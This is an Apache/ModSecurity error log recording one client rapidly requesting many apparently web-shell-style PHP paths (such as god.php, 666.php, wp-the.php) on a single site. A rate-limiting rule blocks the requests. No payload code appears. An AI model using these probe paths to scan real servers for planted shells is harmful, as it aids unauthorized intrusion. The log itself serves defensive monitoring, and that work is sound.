[Thu Feb 26 20:44:26.363291 2026] [:error] [pid 25311:tid 25316] [client 172.190.142.176:53126] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xqq.php"] [unique_id "aaBAKtfdM__yZAgJFSvWxgAAAYI"]
[Thu Feb 26 20:44:26.958197 2026] [:error] [pid 54990:tid 55012] [client 172.190.142.176:64330] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xqq.php"] [unique_id "aaBAKntr2qmt_mBhH2wkuQAAABM"]
[Thu Feb 26 20:44:27.558223 2026] [:error] [pid 54990:tid 54997] [client 172.190.142.176:53180] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/kolda.php"] [unique_id "aaBAK3tr2qmt_mBhH2wkugAAAAQ"]
[Thu Feb 26 20:44:28.008775 2026] [:error] [pid 54991:tid 55026] [client 172.190.142.176:65016] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/kolda.php"] [unique_id "aaBALN4Zx-mJ8gbRB2jhvQAAAEY"]
[Thu Feb 26 20:44:28.478815 2026] [:error] [pid 55122:tid 55146] [client 172.190.142.176:3126] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/kolda.php"] [unique_id "aaBALILiR0OfjFxvcN8qlgAAANY"]
[Thu Feb 26 20:44:28.926720 2026] [:error] [pid 55618:tid 55628] [client 172.190.142.176:64993] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/kolda.php"] [unique_id "aaBALB61Vrh12f_8oWQFywAAAQc"]
[Thu Feb 26 20:44:29.420878 2026] [:error] [pid 55122:tid 55126] [client 172.190.142.176:3210] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/nw.php"] [unique_id "aaBALYLiR0OfjFxvcN8qmAAAAMI"]
[Thu Feb 26 20:44:29.946209 2026] [:error] [pid 55122:tid 55143] [client 172.190.142.176:3078] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/nw.php"] [unique_id "aaBALYLiR0OfjFxvcN8qmgAAANM"]
[Thu Feb 26 20:44:30.539984 2026] [:error] [pid 54990:tid 55000] [client 172.190.142.176:3084] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/nw.php"] [unique_id "aaBALntr2qmt_mBhH2wkvgAAAAc"]
[Thu Feb 26 20:44:31.191039 2026] [:error] [pid 25311:tid 25326] [client 172.190.142.176:29343] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/nw.php"] [unique_id "aaBAL9fdM__yZAgJFSvWzwAAAYw"]
[Thu Feb 26 20:44:31.692300 2026] [:error] [pid 25311:tid 25332] [client 172.190.142.176:51634] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/god.php"] [unique_id "aaBAL9fdM__yZAgJFSvW1AAAAZI"]
[Thu Feb 26 20:44:32.349154 2026] [:error] [pid 25311:tid 25314] [client 172.190.142.176:29336] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/god.php"] [unique_id "aaBAMNfdM__yZAgJFSvW1wAAAYA"]
[Thu Feb 26 20:44:32.951822 2026] [:error] [pid 25311:tid 25330] [client 172.190.142.176:25121] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/god.php"] [unique_id "aaBAMNfdM__yZAgJFSvW2QAAAZA"]
[Thu Feb 26 20:44:33.561776 2026] [:error] [pid 25311:tid 25322] [client 172.190.142.176:53174] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/god.php"] [unique_id "aaBAMdfdM__yZAgJFSvW3AAAAYg"]
[Thu Feb 26 20:44:34.205722 2026] [:error] [pid 25311:tid 25325] [client 172.190.142.176:19421] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/666.php"] [unique_id "aaBAMtfdM__yZAgJFSvW3gAAAYs"]
[Thu Feb 26 20:44:34.660580 2026] [:error] [pid 3883:tid 3909] [client 172.190.142.176:19400] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/666.php"] [unique_id "aaBAMuA33x90V6yYHajUYAAAAVc"]
[Thu Feb 26 20:44:35.138927 2026] [:error] [pid 25311:tid 25315] [client 172.190.142.176:19439] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/666.php"] [unique_id "aaBAM9fdM__yZAgJFSvW4QAAAYE"]
[Thu Feb 26 20:44:35.615523 2026] [:error] [pid 25311:tid 25326] [client 172.190.142.176:48796] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/666.php"] [unique_id "aaBAM9fdM__yZAgJFSvW4wAAAYw"]
[Thu Feb 26 20:44:36.199870 2026] [:error] [pid 3883:tid 3900] [client 172.190.142.176:53159] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/kj.php"] [unique_id "aaBANOA33x90V6yYHajUZAAAAU4"]
[Thu Feb 26 20:44:36.804572 2026] [:error] [pid 3883:tid 3888] [client 172.190.142.176:29353] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/kj.php"] [unique_id "aaBANOA33x90V6yYHajUZwAAAUI"]
[Thu Feb 26 20:44:37.326654 2026] [:error] [pid 44444:tid 44458] [client 172.190.142.176:65011] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/kj.php"] [unique_id "aaBANW2sMNmj-yekUk0NWAAAAgg"]
[Thu Feb 26 20:44:37.824664 2026] [:error] [pid 44444:tid 44473] [client 172.190.142.176:3105] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/kj.php"] [unique_id "aaBANW2sMNmj-yekUk0NWQAAAhc"]
[Thu Feb 26 20:44:38.425455 2026] [:error] [pid 55122:tid 55132] [client 172.190.142.176:28179] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/un.php"] [unique_id "aaBANoLiR0OfjFxvcN8qqgAAAMg"]
[Thu Feb 26 20:44:38.852013 2026] [:error] [pid 54991:tid 55021] [client 172.190.142.176:55456] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/un.php"] [unique_id "aaBANt4Zx-mJ8gbRB2jhxQAAAEE"]
[Thu Feb 26 20:44:39.407819 2026] [:error] [pid 3883:tid 3897] [client 172.190.142.176:3090] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/un.php"] [unique_id "aaBAN-A33x90V6yYHajUagAAAUs"]
[Thu Feb 26 20:44:39.912204 2026] [:error] [pid 3883:tid 3910] [client 172.190.142.176:20624] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/un.php"] [unique_id "aaBAN-A33x90V6yYHajUbQAAAVg"]
[Thu Feb 26 20:44:40.427957 2026] [:error] [pid 3883:tid 3889] [client 172.190.142.176:57629] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fs.php"] [unique_id "aaBAOOA33x90V6yYHajUbwAAAUM"]
[Thu Feb 26 20:44:41.054031 2026] [:error] [pid 3883:tid 3896] [client 172.190.142.176:38481] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fs.php"] [unique_id "aaBAOeA33x90V6yYHajUcgAAAUo"]
[Thu Feb 26 20:44:41.518142 2026] [:error] [pid 3883:tid 3902] [client 172.190.142.176:64425] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fs.php"] [unique_id "aaBAOeA33x90V6yYHajUdQAAAVA"]
[Thu Feb 26 20:44:41.983685 2026] [:error] [pid 3883:tid 3893] [client 172.190.142.176:3182] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fs.php"] [unique_id "aaBAOeA33x90V6yYHajUeAAAAUc"]
[Thu Feb 26 20:44:42.607339 2026] [:error] [pid 55051:tid 55060] [client 172.190.142.176:28193] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ms.php"] [unique_id "aaBAOgmK1w2kZvh5eLGh2AAAAIY"]
[Thu Feb 26 20:44:43.183088 2026] [:error] [pid 3883:tid 3907] [client 172.190.142.176:29344] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ms.php"] [unique_id "aaBAO-A33x90V6yYHajUfQAAAVU"]
[Thu Feb 26 20:44:43.752752 2026] [:error] [pid 3883:tid 3894] [client 172.190.142.176:55437] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ms.php"] [unique_id "aaBAO-A33x90V6yYHajUfwAAAUg"]
[Thu Feb 26 20:44:44.288276 2026] [proxy_fcgi:error] [pid 3883:tid 3903] [client 172.190.142.176:20619] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 20:44:44.496461 2026] [proxy_fcgi:error] [pid 3883:tid 3887] [client 172.190.142.176:20619] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 20:44:44.702671 2026] [proxy_fcgi:error] [pid 3883:tid 3910] [client 172.190.142.176:20619] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 20:44:44.911452 2026] [proxy_fcgi:error] [pid 3883:tid 3889] [client 172.190.142.176:20619] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 20:44:45.121778 2026] [proxy_fcgi:error] [pid 3883:tid 3906] [client 172.190.142.176:20619] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 20:44:45.332760 2026] [proxy_fcgi:error] [pid 3883:tid 3886] [client 172.190.142.176:20619] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 20:44:45.545613 2026] [proxy_fcgi:error] [pid 3883:tid 3891] [client 172.190.142.176:20619] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 20:44:45.755456 2026] [proxy_fcgi:error] [pid 3883:tid 3902] [client 172.190.142.176:20619] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 20:44:45.968570 2026] [proxy_fcgi:error] [pid 3883:tid 3893] [client 172.190.142.176:20619] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 20:44:46.195881 2026] [proxy_fcgi:error] [pid 3883:tid 3899] [client 172.190.142.176:20619] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 20:44:46.406163 2026] [proxy_fcgi:error] [pid 3883:tid 3898] [client 172.190.142.176:20619] AH01071: Got error 'Primary script unknown'
[Thu Feb 26 20:44:46.612438 2026] [:error] [pid 3883:tid 3900] [client 172.190.142.176:20619] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/a1vx.php"] [unique_id "aaBAPuA33x90V6yYHajUjQAAAU4"]
[Thu Feb 26 20:44:47.067920 2026] [:error] [pid 54990:tid 55015] [client 172.190.142.176:25119] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/a1vx.php"] [unique_id "aaBAP3tr2qmt_mBhH2wkyQAAABY"]
[Thu Feb 26 20:44:47.513771 2026] [:error] [pid 54990:tid 55014] [client 172.190.142.176:25129] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/a1vx.php"] [unique_id "aaBAP3tr2qmt_mBhH2wkygAAABU"]
[Thu Feb 26 20:44:47.971701 2026] [:error] [pid 55618:tid 55624] [client 172.190.142.176:55427] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/a1vx.php"] [unique_id "aaBAPx61Vrh12f_8oWQF0gAAAQM"]
[Thu Feb 26 20:44:48.421343 2026] [:error] [pid 54990:tid 54997] [client 172.190.142.176:55451] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/sbhu.php"] [unique_id "aaBAQHtr2qmt_mBhH2wkzAAAAAQ"]
[Thu Feb 26 20:44:48.918841 2026] [:error] [pid 55618:tid 55637] [client 172.190.142.176:38479] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/sbhu.php"] [unique_id "aaBAQB61Vrh12f_8oWQF1AAAARA"]
[Thu Feb 26 20:44:49.378100 2026] [:error] [pid 3883:tid 3888] [client 172.190.142.176:48817] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/sbhu.php"] [unique_id "aaBAQeA33x90V6yYHajUkAAAAUI"]
[Thu Feb 26 20:44:49.850683 2026] [:error] [pid 54991:tid 55043] [client 172.190.142.176:29333] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/sbhu.php"] [unique_id "aaBAQd4Zx-mJ8gbRB2jhyQAAAFc"]
[Thu Feb 26 20:44:50.351143 2026] [:error] [pid 55051:tid 55066] [client 172.190.142.176:48804] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-the.php"] [unique_id "aaBAQgmK1w2kZvh5eLGh5QAAAIw"]
[Thu Feb 26 20:44:50.865301 2026] [:error] [pid 55051:tid 55073] [client 172.190.142.176:55457] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-the.php"] [unique_id "aaBAQgmK1w2kZvh5eLGh6gAAAJM"]
[Thu Feb 26 20:44:51.361497 2026] [:error] [pid 55051:tid 55055] [client 172.190.142.176:64322] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-the.php"] [unique_id "aaBAQwmK1w2kZvh5eLGh6wAAAIE"]
[Thu Feb 26 20:44:51.820200 2026] [:error] [pid 3883:tid 3910] [client 172.190.142.176:64364] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-the.php"] [unique_id "aaBAQ-A33x90V6yYHajUlAAAAVg"]
[Thu Feb 26 20:44:52.277213 2026] [:error] [pid 55618:tid 55631] [client 172.190.142.176:20626] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/06.php"] [unique_id "aaBARB61Vrh12f_8oWQF3gAAAQo"]
[Thu Feb 26 20:44:52.732434 2026] [:error] [pid 20419:tid 20437] [client 172.190.142.176:48819] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/06.php"] [unique_id "aaBARO3DVDvMfTYYUBVPFAAAAc8"]
[Thu Feb 26 20:44:53.188623 2026] [:error] [pid 54991:tid 55037] [client 172.190.142.176:38499] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/06.php"] [unique_id "aaBARd4Zx-mJ8gbRB2jhzQAAAFE"]
[Thu Feb 26 20:44:53.717894 2026] [:error] [pid 3883:tid 3889] [client 172.190.142.176:64341] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/06.php"] [unique_id "aaBAReA33x90V6yYHajUlgAAAUM"]
[Thu Feb 26 20:44:54.574504 2026] [:error] [pid 55618:tid 55633] [client 172.190.142.176:29357] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp5.php"] [unique_id "aaBARh61Vrh12f_8oWQF5wAAAQw"]
[Thu Feb 26 20:44:55.260617 2026] [:error] [pid 54990:tid 55004] [client 172.190.142.176:57649] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp5.php"] [unique_id "aaBAR3tr2qmt_mBhH2wk0AAAAAs"]
[Thu Feb 26 20:44:55.852299 2026] [:error] [pid 55618:tid 55638] [client 172.190.142.176:57607] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp5.php"] [unique_id "aaBARx61Vrh12f_8oWQF6gAAARE"]
[Thu Feb 26 20:44:56.301477 2026] [:error] [pid 3883:tid 3886] [client 172.190.142.176:57661] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp5.php"] [unique_id "aaBASOA33x90V6yYHajUmAAAAUA"]
